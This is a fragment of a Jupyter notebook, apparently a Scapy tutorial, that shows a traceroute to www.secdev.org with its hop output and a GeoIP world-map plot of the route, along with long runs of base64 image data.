iPRCMYjQ0AXaDBZxItInDOxedcPB6nB9ls\n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\n", "prompt_number": 15, "text": [ "" ] } ], "prompt_number": 15 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Scapy has a `traceroute()` function, which basically runs a `sr(IP(ttl=(1..30))` and creates a `TracerouteResult` object, which is a specific subclass of `SndRcvList()`." ] }, { "cell_type": "code", "collapsed": false, "input": [ "ans, unans = traceroute('www.secdev.org', maxttl=15)" ], "language": "python", "metadata": { "scrolled": true }, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "Begin emission:\n", "Finished to send 15 packets.\n", "\n", "Received 17 packets, got 15 answers, remaining 0 packets\n", " 217.25.178.5:tcp80 \n", "1 192.168.46.254 11 \n", "2 172.28.0.1 11 \n", "3 80.10.115.251 11 \n", "4 10.123.205.82 11 \n", "5 193.252.98.161 11 \n", "6 193.252.137.74 11 \n", "7 193.251.132.183 11 \n", "8 130.117.49.41 11 \n", "9 154.25.7.150 11 \n", "10 154.25.7.150 11 \n", "11 149.6.166.166 11 \n", "12 149.6.166.166 11 \n", "13 217.25.178.5 SA \n", "14 217.25.178.5 SA \n", "15 217.25.178.5 SA \n" ] } ], "prompt_number": 22 }, { "cell_type": "markdown", "metadata": {}, "source": [ "The result can be plotted with `.world_trace()` (this requires GeoIP module and data, from [MaxMind](https://www.maxmind.com/))" ] }, { "cell_type": "code", "collapsed": false, "input": [ "ans.world_trace()" ], "language": "python", "metadata": {}, "outputs": [ { "metadata": {}, "output_type": "display_data", "png": "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